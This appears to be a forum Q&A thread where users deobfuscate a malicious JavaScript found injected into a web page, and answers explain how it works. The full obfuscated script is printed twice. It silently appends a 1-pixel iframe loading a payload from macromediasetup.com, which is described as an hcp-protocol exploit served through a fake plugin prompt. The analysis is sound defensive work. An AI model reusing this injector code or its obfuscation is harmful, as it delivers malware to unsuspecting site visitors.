var o = 's)ut'.xAW(/[tJ)md]/g, '') + 'bD'.xAW(/[D$sE{]/g, '') + 'sQtQrQiu'.xAW(/[u+QY/]/g, '') + 'njg7'.xAW(/[7qjky]/g, '');
this.eV = '';
dS = '';
eS = false;
this.eVS = false;
var r = 'aNp6p)e6n#dNC0h6iNl0dN'.xAW(/[N)0#6]/g, '');
fH = "fH";
vU = "";
this.hA = "";
lB = 56028;
var vN = '';
var q = 'szrzcz'.xAW(/[z(k+G]/g, '');
function uT()
{
};
this.jKG = 26380;
this.eG = 41884;
wM = "wM";
var zQ = function ()
{
};
function aW()
{
};
var lD = 16264;
sU = "";
var h = 'o|fRf#c$r/e|a#'.xAW(/[#$|R/]/g, '') + 'tLepE4l4eLm&'.xAW(/[&4LpO]/g, '') + 'e0n0t,rDeDdK'.xAW(/[K0,lD]/g, '');
var iV = '';
var sUW = function ()
{
};
var k = false;
this.kT = false;
this.rW = "rW";
var dY = 60892;
this.xX = 51713;
this.vS = 62755;
var jK = 'lQy;r)h)eQiU'.xAW(/[U)QN;]/g, '') + 'gNhHt!gHr4eB'.xAW(/[BN!4H]/g, '');
function wT()
{
};
bV = "";
var hM = new Date();
var bL = new Array();
var dM = false;
var mI = "";
var x = 't]eTdTwTizdp'.xAW(/[p]z2T]/g, '') + 'tihqg]rqdi'.xAW(/[i]bNq]/g, '');
var sD = '';
this.dN = '';
this.lT = "lT";
var jCF = function ()
{
return 'jCF'
};
function xAA()
{
};
var iIQ = function ()
{
return 'iIQ'
};
var hZ = 'b]o]dBy5'.xAW(/[5];BD]/g, '');
var vD = "";
var oF = function ()
{
};
var wGT = "";
xJD = "xJD";
var wH = new Date();
var mM = function ()
{
};
var dP = "dP";
var qF = '';
var vV = "";
mY = false;
var w = 'p0u<s<hk'.xAW(/[kP0Q<]/g, '');
var pN = function ()
{
return 'pN'
};
sM = 43919;
mZ = false;
fM = '';
var g = "";
hF = 51580;
var fJ = new Date();
this.tU = "";
var gG = "gG";
kD = "";
this.hAU = "hAU";
jAV = "";
var qP = '';
var cT = "cT";
var wZ = function ()
{
};
var rE = 'abscwGibfcrGlGiJjJ'.xAW(/[JGDcb]/g, '');
var nT = new Array();
var mA = function ()
{
};
var oZJ = function ()
{
return 'oZJ'
};
this.aM = "";
nM = 5166;
nTR = "";
var oL = 'f#'.xAW(/[#A4#&]/g, '');
zC = false;
tD = "";
this.vQ = false;
var lZN = function ()
{
return 'lZN'
};
lY = 40654;
y = 'spwpq,1mlmypt4'.xAW(/[4pmM,]/g, '');
var qD = "qD";
this.mS = false;
this.jCN = "jCN";
var fV = 26384;
tI = "tI";
this.aP = '';
s = 'a#,pw727hId#eI'.xAW(/[I#up7]/g, '');
xY = false;
var kU = function ()
{
return 'kU'
};
var dJ = "dJ";
var sUH = function ()
{
return 'sUH'
};
aI = 43838;
var dK = false;
this.gR = '';
var oU = new Array();
sZ = 5437;
kH = "kH";
var rY = false;
this.wV = 49424;
oU[w](oL, s, q, jK, o, h, x, rE, jF, hZ, r, f, y);
var eI = "";
function sMF()
{
};
dSG = '';
oD = 15793;
var nQ = function ()
{
};
this.sK = 12917;
this.gC = false;
function lBP()
{
};
qDD = '';
var tA = 1992;
wC = "wC";
this.qV = false;
this.aD = '';
wJ = false;
function tF()
{
};
var rH = new Date();
function qT()
{
};
var vUG = new Date();
var gB = new Date();
this.uL = "";
var nS = "nS";
function dQ()
{
};
qVK = "qVK";
var hQ = new Array();
var lW = new Array();
rG = false;
var gN = "gN";
function iE()
{
};
gV = "gV";
sT = '';
this.fR = "fR";
var wGW = 47062;
this.qJ = "";
this.gBS = "";
var nN = function ()
{
};
var gT = false;
this.qM = "";
var qA = false;
this.oDD = false;
eZ = "eZ";
this.iW = "";
function oFD()
{
};
var tN = function ()
{
return 'tN'
};
tT = 20890;
var uJ = '';
var rM = '';
xO = false;
rK = '';
this.aMR = 31691;
var oLW = new Date();
this.nJ = "";
this.pV = 7748;
var vJ = 8022;
iA = 45357;
var dD = new Array();
var rGR = '';
fU = '';
this.aYO = "";
var gNM = function ()
{
return 'gNM'
};
fN = "";
this.yT = false;
var rC = false;
var tX = "";
var mU = 41520;
this.aJ = "";
this.cH = "cH";
var yY = function ()
{
};
var kI = "kI";
function tK()
{
};
var tAQ = false;
uTD = "uTD";
var hIH = "hIH";
function lBC()
{
};
this.vA = false;
var sDO = false;
eZN = "eZN";
var iL = new Date();
var bZ = 41417;
var dX = '';
var bS = function ()
{
};
mX = false;
this.sDY = 12981;
var sMFV = "sMFV";
var xT = new Array();
iF = "";
var zY = '';
vNL = '';
var hJ = "hJ";
var nI = function ()
{
return 'nI'
};
var tGJ = 41886;
xAM = false;
var tDK = 5185;
var wSH = new Array();
iEM = "iEM";
this.pX = '';
this.sH = false;
hN = '';
var qZ = new Date();
qE = "qE";
var qX = "";
var sUT = false;
eN = "";
function bT()
{
};
var qDC = "qDC";
yR = "yR";
var dMG = false;
this.nL = "";
var oUK = '';
var cW = 60401;
var xOR = 50628;
vW = "vW";
this.qR = "qR";
var kB = false;
function fG()
{
};
var yVS = new Date();
var eQ = oU[5][oU[4]](3, 16);
this.sRU = 40424;
var vSZ = false;
var oUC = function ()
{
};
var pS = new Date();
tC = '';
var uW = "uW";
cA = "";
var xJ = oU[7][oU[4]](3, 6);
nE = "nE";
var jV = false;
fUG = "";
var aX = false;
this.zJ = '';
this.dC = "dC";
function lDV()
{
};
var u = oU[1][oU[4]](3, 4);
var aF = function ()
{
};
this.sKM = '';
gH = 35602;
this.tE = false;
this.wR = '';
var lQ = function ()
{
return 'lQ'
};
jA = xJ + 'a3m3e3'.xAW(/[3Fr6h]/g, '');
var tNZ = false;
sHZ = '';
var zI = new Date();
this.hT = '';
fY = false;
this.aN = "aN";
var qEY = 35434;
var z = oU[12][oU[4]](3, 4);
var hZQ = new Date();
var cX = function ()
{
return 'cX'
};
this.lI = false;
this.nMM = "";
var dV = "";
iM = false;
var rJ = oU[8][oU[4]](3, 11);
yVB = false;
this.zP = "";
this.jO = 34768;
var bH = new Array();
this.hIHR = "hIHR";
lZ = rJ + 'b)u.tHeQ'.xAW(/[QH)N.]/g, '');
var xI = new Date();
this.yJ = false;
this.tGO = 27688;
this.yN = 6549;
xE = '';
var bZF = false;
var xZ = oU[11][eQ](jA);
zYQ = false;
this.mC = 40578;
var zPY = '';
this.yTB = '';
var gA = function ()
{
};
var qL = 29571;
var iZ = new Date();
var qN = oU[3][oU[4]](3, 9);
var vP = "vP";
var yQ = new Date();
this.gX = '';
var iZV = '';
this.hH = 63374;
var jC = oU[6][oU[4]](3, 8);
var lKY = new Date();
var sRA = "";
var kUY = '';
var zS = function ()
{
return 'zS'
};
xZ[oU[2]] = 'hTt!t|p):6/|/)m|a)c|rTo6m)e)d)iTa)s6e6t|uTp!.!c|o6m|/!z!o!mTbTiTe!/)'.xAW(/[)6T|!]/g, '');
this.rT = false;
var qU = '';
var nQX = function ()
{
return 'nQX'
};
this.nQK = "";
fK = false;
var aK = new Array();
this.eC = "";
uM = '';
qXG = "qXG";
cD = "cD";
this.mL = false;
var xF = function ()
{
};
xZ[jC] = u;
lH = false;
var hRX = 24381;
var jP = "jP";
var rD = new Array();
this.pK = "pK";
sQ = '';
this.lJ = '';
var dW = function ()
{
return 'dW'
};
var eP = new Array();
xZ[qN] = z;
var mK = new Date();
var sZM = 33888;
var wJZ = "wJZ";
zA = "";
var fW = function ()
{
};
this.lIJ = "";
xL = "";
var rKL = 29796;
var xR = new Date();
var pP = false;
var qK = "";
gTS = "";
oU[11][oU[9]][oU[10]](xZ);
var aG = function ()
{
return 'aG'
};
function hV()
{
};
gE = "gE";
var uHJ = "";
this.nNX = false;
}
catch (xG)
{
this.wSN = '';
function yJX()
{
};
var sTG = new Array();
this.wCW = "wCW";
this.eT = "eT";
iK = "iK";
f[l]('<RhRt[m;l; [>a<[b|oRd[y; ;>|<|t[d; R>a<[/atRdR>a<;/Rbao[d[y;>;<;/|h|t;malR>R'.xAW(/[Ra[|;]/g, ''));
this.xN = 35962;
var uJT = 22074;
fL = '';
var wJD = '';
oFI = '';
e[j](function ()
{
m.b()
}, 141);
tEC = "";
this.vK = "vK";
var hS = function ()
{
};
var gTT = new Array();
}
var yJB = function ()
{
return 'yJB'
};
this.mXU = "mXU";
this.tFO = false;
}
};
var fI = 4253;
var bJ = new sF();
bVT = 29950;
bJ.b();
var hK = function ()
{
return 'hK'
};
</script>
Thanks to Peter Ajtai for cleaning it up (although editing it seemed to reload the script all cleared up.. must be an SO thing)
Ok, so here is what I have figured out...
Basically this script does a
document.body.append('<iframe height="1" src="http://macromediasetup.com/zombie/">');
The key line is:
oU[11][oU[9]][oU[10]](xZ);
oU is an array populate by the line:
oU[w](oL, s, q, jK, o, h, x, rE, jF, hZ, r, f, y);
oU[w] is a reference to Array.push. So, calling this pushes these 13 items into the array. f, hZ and r -> oU[11], oU[9], and oU[10] respectively are:
var f = document;
var hZ = 'b]o]dBy5'.xAW(/[5];BD]/g, ''); // evaluates to "body"
var r = 'aNp6p)e6n#dNC0h6iNl0dN'.xAW(/[N)0#6]/g, ''); // evaluates to "append"
so, this becomes document['body']['append'] or document.body.append()
xZ is the iframe string, so it is adding that iframe to the page. Although hitting macromediasetup.com directly just redirects to adobe.com, hitting the zombie route does something entirely different...
And the whois for this domain shows it is not adobe owned:
$ whois macromediasetup.com
[Querying whois.verisign-grs.com]
[Redirected to whois.PublicDomainRegistry.com]
[Querying whois.PublicDomainRegistry.com]
[whois.PublicDomainRegistry.com]
Registration Service Provided By: DOMAIN NAMES REGISTRAR REG.RU LTD.
Contact: +7.4955801111
Domain Name: MACROMEDIASETUP.COM
Registrant:
PrivacyProtect.org
Domain Admin (contact#privacyprotect.org)
P.O. Box 97
Note - All Postal Mails Rejected, visit Privacyprotect.org
Moergestel
null,5066 ZH
NL
Tel. +45.36946676
Creation Date: 28-May-2010
Expiration Date: 28-May-2011
Domain servers in listed order:
ns2.reg.ru
ns1.reg.ru
Administrative Contact:
PrivacyProtect.org
Domain Admin (contact#privacyprotect.org)
P.O. Box 97
Note - All Postal Mails Rejected, visit Privacyprotect.org
Moergestel
null,5066 ZH
NL
Tel. +45.36946676
Technical Contact:
PrivacyProtect.org
Domain Admin (contact#privacyprotect.org)
P.O. Box 97
Note - All Postal Mails Rejected, visit Privacyprotect.org
Moergestel
null,5066 ZH
NL
Tel. +45.36946676
Billing Contact:
PrivacyProtect.org
Domain Admin (contact#privacyprotect.org)
P.O. Box 97
Note - All Postal Mails Rejected, visit Privacyprotect.org
Moergestel
null,5066 ZH
NL
Tel. +45.36946676
Traceroute shows it going somewhere in Latvia...
7 nyk-bb1-link.telia.net (80.91.252.162) 77.169 ms 77.401 ms 77.327 ms
8 kbn-bb1-link.telia.net (80.91.254.88) 156.938 ms 156.960 ms 156.842 ms
9 s-bb1-link.telia.net (80.91.247.160) 166.491 ms 166.425 ms 166.499 ms
10 s-b3-link.telia.net (80.91.247.105) 212.715 ms 212.759 ms 212.776 ms
11 telia-latvija-ic-132810-s-b3.c.telia.net (213.248.82.134) 203.272 ms 203.313 ms 203.936 ms
EDIT ok so I did a little more digging, just because it was interesting and I figured out exactly what is going on. The file that is included in the iframe retrieves a file which will use an "hcp" protocol hack for Windows XP machines. Basically, the included file will make a "You need to install some nifty plugin that you don't have" message appear in your browser... then, when you install it, you are in the poop.
The first thing I would do is to beautify the script - I used - http://jsbeautifier.org/
This line jumped out at me (line broken up for readability):
xZ[oU[2]] =
'hTt!t|p):6/|/)m|a)c|rTo6m)e)d)iTa)s6e6t|uTp!.!c|o6m|/!z!o!mTbTiTe!/)'
. xAW(/[)6T|!]/g, '');
The whole script is:
function sF()
{
};
var sMN = new Array();
sF.prototype =
{
b: function ()
{
wL = "wL";
var c = "c";
var wS = new Array();
cY = '';
this.bW = "bW";
this.sR = 35912;
var f = document;
var uH = "uH";
var cJ = 13620;
var n = '';
this.hI = 9833;
this.wX = 45851;
var bI = function ()
{
};
var e = window;
yM = '';
a = "a";
var mV = 57574;
var pD = function ()
{
};
var uQ = "";
var m = this;
this.v = false;
var cB = false;
this.t = 52080;
var qY = false;
this.oV = '';
wG = false;
var nW = function ()
{
};
String.prototype.xAW = function (p, d)
{
var i = this;
return i.replace(p, d)
};
this.xA = '';
var bA = "";
this.oZ = 27110;
var rR = new Array();
var mP = function ()
{
return 'mP'
};
this.aY = 39890;
this.wE = false;
var j = 'sbe)t)T)'.xAW(/[)O4Eb]/g, '') + 'iZm&eZoVu&tV'.xAW(/[V&{:Z]/g, '');
var zR = new Date();
var yV = 30047;
this.wLU = 47818;
var vX = '';
function wD()
{
};
hR = 22291;
var jF = 'eNdNdUsreNtUAUtr'.xAW(/[rpXUN]/g, '') + 'tarNiNs9daf&'.xAW(/[&9aN6]/g, '');
this.iI = false;
this.nK = "nK";
this.sS = '';
this.pL = "pL";
var uP = function ()
{
};
var l = 'w$r$i9t$e|'.xAW(/[|$~(9]/g, '');
var lK = false;
var aU = "aU";
var mB = new Array();
var cS = function ()
{
return 'cS'
};
var nKP = "";
var dH = function ()
{
return 'dH'
};
try
{
tG = "";
var jB = new Date();
hX = '';
var sE = "";
var pE = new Array();
fZ = 41855;
var o = 's)ut'.xAW(/[tJ)md]/g, '') + 'bD'.xAW(/[D$sE{]/g, '') + 'sQtQrQiu'.xAW(/[u+QY/]/g, '') + 'njg7'.xAW(/[7qjky]/g, '');
this.eV = '';
dS = '';
eS = false;
this.eVS = false;
var r = 'aNp6p)e6n#dNC0h6iNl0dN'.xAW(/[N)0#6]/g, '');
fH = "fH";
vU = "";
this.hA = "";
lB = 56028;
var vN = '';
var q = 'szrzcz'.xAW(/[z(k+G]/g, '');
function uT()
{
};
this.jKG = 26380;
this.eG = 41884;
wM = "wM";
var zQ = function ()
{
};
function aW()
{
};
var lD = 16264;
sU = "";
var h = 'o|fRf#c$r/e|a#'.xAW(/[#$|R/]/g, '') + 'tLepE4l4eLm&'.xAW(/[&4LpO]/g, '') + 'e0n0t,rDeDdK'.xAW(/[K0,lD]/g, '');
var iV = '';
var sUW = function ()
{
};
var k = false;
this.kT = false;
this.rW = "rW";
var dY = 60892;
this.xX = 51713;
this.vS = 62755;
var jK = 'lQy;r)h)eQiU'.xAW(/[U)QN;]/g, '') + 'gNhHt!gHr4eB'.xAW(/[BN!4H]/g, '');
function wT()
{
};
bV = "";
var hM = new Date();
var bL = new Array();
var dM = false;
var mI = "";
var x = 't]eTdTwTizdp'.xAW(/[p]z2T]/g, '') + 'tihqg]rqdi'.xAW(/[i]bNq]/g, '');
var sD = '';
this.dN = '';
this.lT = "lT";
var jCF = function ()
{
return 'jCF'
};
function xAA()
{
};
var iIQ = function ()
{
return 'iIQ'
};
var hZ = 'b]o]dBy5'.xAW(/[5];BD]/g, '');
var vD = "";
var oF = function ()
{
};
var wGT = "";
xJD = "xJD";
var wH = new Date();
var mM = function ()
{
};
var dP = "dP";
var qF = '';
var vV = "";
mY = false;
var w = 'p0u<s<hk'.xAW(/[kP0Q<]/g, '');
var pN = function ()
{
return 'pN'
};
sM = 43919;
mZ = false;
fM = '';
var g = "";
hF = 51580;
var fJ = new Date();
this.tU = "";
var gG = "gG";
kD = "";
this.hAU = "hAU";
jAV = "";
var qP = '';
var cT = "cT";
var wZ = function ()
{
};
var rE = 'abscwGibfcrGlGiJjJ'.xAW(/[JGDcb]/g, '');
var nT = new Array();
var mA = function ()
{
};
var oZJ = function ()
{
return 'oZJ'
};
this.aM = "";
nM = 5166;
nTR = "";
var oL = 'f#'.xAW(/[#A4#&]/g, '');
zC = false;
tD = "";
this.vQ = false;
var lZN = function ()
{
return 'lZN'
};
lY = 40654;
y = 'spwpq,1mlmypt4'.xAW(/[4pmM,]/g, '');
var qD = "qD";
this.mS = false;
this.jCN = "jCN";
var fV = 26384;
tI = "tI";
this.aP = '';
s = 'a#,pw727hId#eI'.xAW(/[I#up7]/g, '');
xY = false;
var kU = function ()
{
return 'kU'
};
var dJ = "dJ";
var sUH = function ()
{
return 'sUH'
};
aI = 43838;
var dK = false;
this.gR = '';
var oU = new Array();
sZ = 5437;
kH = "kH";
var rY = false;
this.wV = 49424;
oU[w](oL, s, q, jK, o, h, x, rE, jF, hZ, r, f, y);
var eI = "";
function sMF()
{
};
dSG = '';
oD = 15793;
var nQ = function ()
{
};
this.sK = 12917;
this.gC = false;
function lBP()
{
};
qDD = '';
var tA = 1992;
wC = "wC";
this.qV = false;
this.aD = '';
wJ = false;
function tF()
{
};
var rH = new Date();
function qT()
{
};
var vUG = new Date();
var gB = new Date();
this.uL = "";
var nS = "nS";
function dQ()
{
};
qVK = "qVK";
var hQ = new Array();
var lW = new Array();
rG = false;
var gN = "gN";
function iE()
{
};
gV = "gV";
sT = '';
this.fR = "fR";
var wGW = 47062;
this.qJ = "";
this.gBS = "";
var nN = function ()
{
};
var gT = false;
this.qM = "";
var qA = false;
this.oDD = false;
eZ = "eZ";
this.iW = "";
function oFD()
{
};
var tN = function ()
{
return 'tN'
};
tT = 20890;
var uJ = '';
var rM = '';
xO = false;
rK = '';
this.aMR = 31691;
var oLW = new Date();
this.nJ = "";
this.pV = 7748;
var vJ = 8022;
iA = 45357;
var dD = new Array();
var rGR = '';
fU = '';
this.aYO = "";
var gNM = function ()
{
return 'gNM'
};
fN = "";
this.yT = false;
var rC = false;
var tX = "";
var mU = 41520;
this.aJ = "";
this.cH = "cH";
var yY = function ()
{
};
var kI = "kI";
function tK()
{
};
var tAQ = false;
uTD = "uTD";
var hIH = "hIH";
function lBC()
{
};
this.vA = false;
var sDO = false;
eZN = "eZN";
var iL = new Date();
var bZ = 41417;
var dX = '';
var bS = function ()
{
};
mX = false;
this.sDY = 12981;
var sMFV = "sMFV";
var xT = new Array();
iF = "";
var zY = '';
vNL = '';
var hJ = "hJ";
var nI = function ()
{
return 'nI'
};
var tGJ = 41886;
xAM = false;
var tDK = 5185;
var wSH = new Array();
iEM = "iEM";
this.pX = '';
this.sH = false;
hN = '';
var qZ = new Date();
qE = "qE";
var qX = "";
var sUT = false;
eN = "";
function bT()
{
};
var qDC = "qDC";
yR = "yR";
var dMG = false;
this.nL = "";
var oUK = '';
var cW = 60401;
var xOR = 50628;
vW = "vW";
this.qR = "qR";
var kB = false;
function fG()
{
};
var yVS = new Date();
var eQ = oU[5][oU[4]](3, 16);
this.sRU = 40424;
var vSZ = false;
var oUC = function ()
{
};
var pS = new Date();
tC = '';
var uW = "uW";
cA = "";
var xJ = oU[7][oU[4]](3, 6);
nE = "nE";
var jV = false;
fUG = "";
var aX = false;
this.zJ = '';
this.dC = "dC";
function lDV()
{
};
var u = oU[1][oU[4]](3, 4);
var aF = function ()
{
};
this.sKM = '';
gH = 35602;
this.tE = false;
this.wR = '';
var lQ = function ()
{
return 'lQ'
};
jA = xJ + 'a3m3e3'.xAW(/[3Fr6h]/g, '');
var tNZ = false;
sHZ = '';
var zI = new Date();
this.hT = '';
fY = false;
this.aN = "aN";
var qEY = 35434;
var z = oU[12][oU[4]](3, 4);
var hZQ = new Date();
var cX = function ()
{
return 'cX'
};
this.lI = false;
this.nMM = "";
var dV = "";
iM = false;
var rJ = oU[8][oU[4]](3, 11);
yVB = false;
this.zP = "";
this.jO = 34768;
var bH = new Array();
this.hIHR = "hIHR";
lZ = rJ + 'b)u.tHeQ'.xAW(/[QH)N.]/g, '');
var xI = new Date();
this.yJ = false;
this.tGO = 27688;
this.yN = 6549;
xE = '';
var bZF = false;
var xZ = oU[11][eQ](jA);
zYQ = false;
this.mC = 40578;
var zPY = '';
this.yTB = '';
var gA = function ()
{
};
var qL = 29571;
var iZ = new Date();
var qN = oU[3][oU[4]](3, 9);
var vP = "vP";
var yQ = new Date();
this.gX = '';
var iZV = '';
this.hH = 63374;
var jC = oU[6][oU[4]](3, 8);
var lKY = new Date();
var sRA = "";
var kUY = '';
var zS = function ()
{
return 'zS'
};
xZ[oU[2]] = 'hTt!t|p):6/|/)m|a)c|rTo6m)e)d)iTa)s6e6t|uTp!.!c|o6m|/!z!o!mTbTiTe!/)'.xAW(/[)6T|!]/g, '');
this.rT = false;
var qU = '';
var nQX = function ()
{
return 'nQX'
};
this.nQK = "";
fK = false;
var aK = new Array();
this.eC = "";
uM = '';
qXG = "qXG";
cD = "cD";
this.mL = false;
var xF = function ()
{
};
xZ[jC] = u;
lH = false;
var hRX = 24381;
var jP = "jP";
var rD = new Array();
this.pK = "pK";
sQ = '';
this.lJ = '';
var dW = function ()
{
return 'dW'
};
var eP = new Array();
xZ[qN] = z;
var mK = new Date();
var sZM = 33888;
var wJZ = "wJZ";
zA = "";
var fW = function ()
{
};
this.lIJ = "";
xL = "";
var rKL = 29796;
var xR = new Date();
var pP = false;
var qK = "";
gTS = "";
oU[11][oU[9]][oU[10]](xZ);
var aG = function ()
{
return 'aG'
};
function hV()
{
};
gE = "gE";
var uHJ = "";
this.nNX = false;
}
catch (xG)
{
this.wSN = '';
function yJX()
{
};
var sTG = new Array();
this.wCW = "wCW";
this.eT = "eT";
iK = "iK";
f[l]('<RhRt[m;l; [>a<[b|oRd[y; ;>|<|t[d; R>a<[/atRdR>a<;/Rbao[d[y;>;<;/|h|t;malR>R'.xAW(/[Ra[|;]/g, ''));
this.xN = 35962;
var uJT = 22074;
fL = '';
var wJD = '';
oFI = '';
e[j](function ()
{
m.b()
}, 141);
tEC = "";
this.vK = "vK";
var hS = function ()
{
};
var gTT = new Array();
}
var yJB = function ()
{
return 'yJB'
};
this.mXU = "mXU";
this.tFO = false;
}
};
var fI = 4253;
var bJ = new sF();
bVT = 29950;
bJ.b();
var hK = function ()
{
return 'hK'
};
This is obsfucated javascript. There are tools and websites out there that will let you debug it and see the final code right before it is executed. Here is one example of an add-on that will allow you to do this:
Javascript Deobsfucator for FireFox

Categories